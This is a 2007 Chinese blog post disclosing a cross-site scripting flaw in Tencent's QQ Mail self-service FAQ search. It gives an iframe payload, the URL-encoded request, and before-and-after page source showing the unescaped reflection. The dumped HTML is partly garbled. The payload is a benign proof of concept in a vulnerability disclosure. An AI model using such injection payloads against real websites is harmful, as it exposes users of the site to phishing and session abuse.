唯一谣|Airs|走尽天涯路|极地阳光

If you my only , I will give you my all.——无意义的音符能编成美妙的音乐，无规律的色彩可幻化为缤纷的世界。我的空间：http://clin003.com/

腾讯再爆跨站漏洞（QQ邮箱自助服务）(20070713)收藏

腾讯再爆跨站漏洞（QQ邮箱自助服务）(20070713)

by clin003 from:http://clin003.com/或http://blog.csdn.net/clin003/ at 200707130258
漏洞利用代码：直接在http://service.mail.qq.com/cgi-bin/faq页面搜索下面代码：

<iframe src="http://blog.csdn.net/clin003/" width="800" height="160" frameborder="0" ></iframe>
效果图：

导致跨站利用成功，抓包或分析源文件可得到利用代码：
by clin003 from:http://clin003.com/或http://blog.csdn.net/clin003/ at 200707130258
Referer: http://service.mail.qq.com/cgi-bin/faq?subtype=2&searchkey=%3Ciframe+src%3D%22http%3A%2F%2Fblog.csdn.net%2Fclin003%2F%22+width%3D%22800%22+height%3D%22160%22+frameborder%3D%220%22+%3E%3C%2Fiframe%3E

by clin003 from:http://clin003.com/或http://blog.csdn.net/clin003/ at 200707130258

效果图：

连接：上一个跨站漏洞描述在：http://blog.csdn.net/clin003/archive/2007/07/10/1684442.aspx

漏洞前后的页面源码如下：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title>QQ邮箱自助服务</title>

var bAlwaysShowVerifyCode = false

var logintype=1;

var subtype=0;

function FirstPage(inputid,formid){

document.getElementsByName('page')[inputid].value = -10;

document.getElementById(formid).submit();

}

function PrevPage(inputid,formid){

var p = document.getElementsByName('page')[inputid].value;

p --;

document.getElementsByName('page')[inputid].value = p;

document.getElementById(formid).submit();

}

function NextPage(inputid,formid){

var p = document.getElementsByName('page')[inputid].value;

p ++;

document.getElementsByName('page')[inputid].value = p;

document.getElementById(formid).submit();

}

function EndPage(inputid,formid){

document.getElementsByName('page')[inputid].value = -20;

document.getElementById(formid).submit();

}

function View(){

if (logintype==1)

{

document.getElementById("dologin").style.display = "";

document.getElementById("VerifyArea").style.display = ( bAlwaysShowVerifyCode ? "block" : "none" );

window.onload = function() {

document.getElementById("u").focus();

init();

CheckName();

}

else if (logintype==2)

{

document.getElementById("dopage").style.display = "";

}

if (subtype==0)

document.getElementById("faqList").style.display = "";

else if (subtype==1)

document.getElementById("faqListAll").style.display = "";

else if (subtype==2)

document.getElementById("faqResult").style.display = "";

else if (subtype==3)

document.getElementById("faqDetail").style.display = "";

}

function CheckName(){

if(bAlwaysShowVerifyCode)return;

var re=/^d+$/;

if(re.test(document.form1.u.value)==true)

{

document.getElementById("VerifyArea").style.display="block";

document.form1.verifycode.enabled=true;

}

else

{

document.getElementById("VerifyArea").style.display="none";

document.form1.verifycode.enabled=false;

}

</script>

</head>

<h1>QQ邮箱自助服务系统</h1>

</a>

</div>

<hr />

</div>

<tr>

</tr>

</table>

</div>

<dd>QQ邮箱相关问题都可在此迅速找到答案。</dd>

</dl>

<input type="submit" class="searchButton" value=" 搜索 " style="vertical-align:middle;"

onclick="if(document.getElementById('iptKey').value==''){alert('请填写要搜索的关键字');document.getElementById('iptKey').focus();return false;};"/>

</form>

</div>

搜索到 <b></b> 个与 "<b></b>" 相关的问题。

</div>

第 - 条  共  条问题

</div>

第 - 条  共  条问题

</div>

if (document.getElementsByName('kenbin')[0].value != 0)

document.getElementById("result").style.display = "";

</script>

</div>

</form>

<img src="/images/icon_back.gif" align="absmiddle" />返回

</a>

</div>

</div>

<ul>

在一个会话中，多个邮件是如...</a></li>

</ul>

<ul>

会话中包含了多封邮件，为什...</a></li>

</ul>

<ul>

什么是会话模式和分组模式?</a></li>

</ul>

<ul>

我可以修改日志的创建时间吗...</a></li>

</ul>

<ul>

怎么设置和取消待办日志呢？</a></li>

</ul>

<ul>

什么是待办日志？</a></li>

</ul>

<ul>

我的记事本日志可以分类吗？</a></li>

</ul>

<ul>

对方能收到并成功下载超大附...</a></li>

</ul>

<ul>

如何将文件中转站的文件发给...</a></li>

</ul>

<ul>

什么是提取码？</a></li>

</ul>

</div>

<ul>

教您识别欺诈邮件</a></li>

</ul>

<ul>

为什么收取gmail邮件老是提...</a></li>

</ul>

<ul>

为什么我的163邮件不能收取...</a></li>

</ul>

<ul>

如何在首页显示我的QQ秀？</a></li>

</ul>

<ul>

我怎样使用QQ邮箱换肤功能呢...</a></li>

</ul>

<ul>

我怎么发QQ群邮件？</a></li>

</ul>

<ul>

我在哪里可以看到积分和等级...</a></li>

</ul>

<ul>

什么是QQ群邮件？</a></li>

</ul>

<ul>

QQ邮箱的等级如何划分呢？</a></li>

</ul>

<ul>

我如何获得积分？</a></li>

</ul>

<ul>

哪些人可以参加积分活动？</a></li>

</ul>

<ul>

为什么设置白名单后，仍然无...</a></li>

</ul>

<ul>

为什么设置白名单后，收到的...</a></li>

</ul>

<ul>

为什么常收不到邮件，白名单...</a></li>

</ul>

<ul>

我不喜欢“摘要”显示模式，...</a></li>

</ul>

<ul>

我是否能方便的将邮件内容转...</a></li>

</ul>

<ul>

我能将日志内容直接发给好友...</a></li>

</ul>

<ul>

我在写日志时，一定要写主题...</a></li>

</ul>

<ul>

记事本支持全文搜索吗？</a></li>

</ul>

<ul>

我的记事本总共有多大容量？</a></li>

</ul>

</div>

全部展开

</a>

</div>

</div>

<ul>

</ul>

第 - 条  共  条问题

</div>

</form>

</div>

</div>

</div>

<h2>登录您的<span class="qq">QQ</span>邮箱自助服务</h2>

<div>

</div>

<div>

</div>

请填写QQ密码。

</div>

<div >

</div>

<div class="tip">按下图字符填写</div>

document.write("<img id='vfcode' src='http://nverify.qq.com/getimage?", Math.random(), "' style='border:1px solid #e4eef9;width:130px; height:53px;'>");

</script>

</div>

</div>

</span>

</div>

</form>

</div>

</div>

积　　分： </div>

等　　级：

</div>

</div>

<hr />

<a href="http://www.tencent.com/index_e.shtml">About Tencent</a>

</div>

</p>

</div>

</body>

</html>

-----------------------------

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>

<title>QQ邮箱自助服务</title>

var bAlwaysShowVerifyCode = false

var logintype=1;

var subtype=2;

function FirstPage(inputid,formid){

document.getElementsByName('page')[inputid].value = -10;

document.getElementById(formid).submit();

}

function PrevPage(inputid,formid){

var p = document.getElementsByName('page')[inputid].value;

p --;

document.getElementsByName('page')[inputid].value = p;

document.getElementById(formid).submit();

}

function NextPage(inputid,formid){

var p = document.getElementsByName('page')[inputid].value;

p ++;

document.getElementsByName('page')[inputid].value = p;

document.getElementById(formid).submit();

}

function EndPage(inputid,formid){

document.getElementsByName('page')[inputid].value = -20;

document.getElementById(formid).submit();

}

function View(){

if (logintype==1)

{

document.getElementById("dologin").style.display = "";

document.getElementById("VerifyArea").style.display = ( bAlwaysShowVerifyCode ? "block" : "none" );

window.onload = function() {

document.getElementById("u").focus();

init();

CheckName();

}

else if (logintype==2)

{

document.getElementById("dopage").style.display = "";

}

if (subtype==0)

document.getElementById("faqList").style.display = "";

else if (subtype==1)

document.getElementById("faqListAll").style.display = "";

else if (subtype==2)

document.getElementById("faqResult").style.display = "";

else if (subtype==3)

document.getElementById("faqDetail").style.display = "";

}

function CheckName(){

if(bAlwaysShowVerifyCode)return;

var re=/^d+$/;

if(re.test(document.form1.u.value)==true)

{

document.getElementById("VerifyArea").style.display="block";

document.form1.verifycode.enabled=true;

}

else

{

document.getElementById("VerifyArea").style.display="none";

document.form1.verifycode.enabled=false;

}

</script>

</head>

<h1>QQ邮箱自助服务系统</h1>

</a>

</div>

<hr />

</div>

<tr>

</tr>

</table>

</div>

<dd>QQ邮箱相关问题都可在此迅速找到答案。</dd>

</dl>

<input name="searchkey" id="iptKey" type="text" class="input01" value="<iframe src="http://blog.csdn.net/clin003/" width="800" height="160" frameborder="0" ></iframe>" size="53" onkeydown='if(event.keyCode==13) {document.getElementById("formSearch").submit();}' style="vertical-align:middle;margin-top:2px;"/>

<input type="submit" class="searchButton" value=" 搜索 " style="vertical-align:middle;"

onclick="if(document.getElementById('iptKey').value==''){alert('请填写要搜索的关键字');document.getElementById('iptKey').focus();return false;};"/>

</form>

</div>

搜索到 <b>0</b> 个与 "<b><iframe src="http://blog.csdn.net/clin003/" width="800" height="160" frameborder="0" ></iframe></b>" 相关的问题。

</div>

第 1-0 条  共 0 条问题

</div>

第 1-0 条  共 0 条问题

</div>

if (document.getElementsByName('kenbin')[0].value != 0)

document.getElementById("result").style.display = "";

</script>

</div>

</form>

<img src="/images/icon_back.gif" align="absmiddle" />返回

</a>

</div>

</div>

</div>

</div>

全部展开

</a>

</div>

</div>

<ul>

</ul>

第 1-0 条  共 0 条问题

</div>

</form>

</div>

</div>

</div>

<h2>登录您的<span class="qq">QQ</span>邮箱自助服务</h2>

<div>

</div>

<div>

</div>

请填写QQ密码。

</div>

<div >

</div>

<div class="tip">按下图字符填写</div>

document.write("<img id='vfcode' src='http://nverify.qq.com/getimage?", Math.random(), "' style='border:1px solid #e4eef9;width:130px; height:53px;'>");

</script>

</div>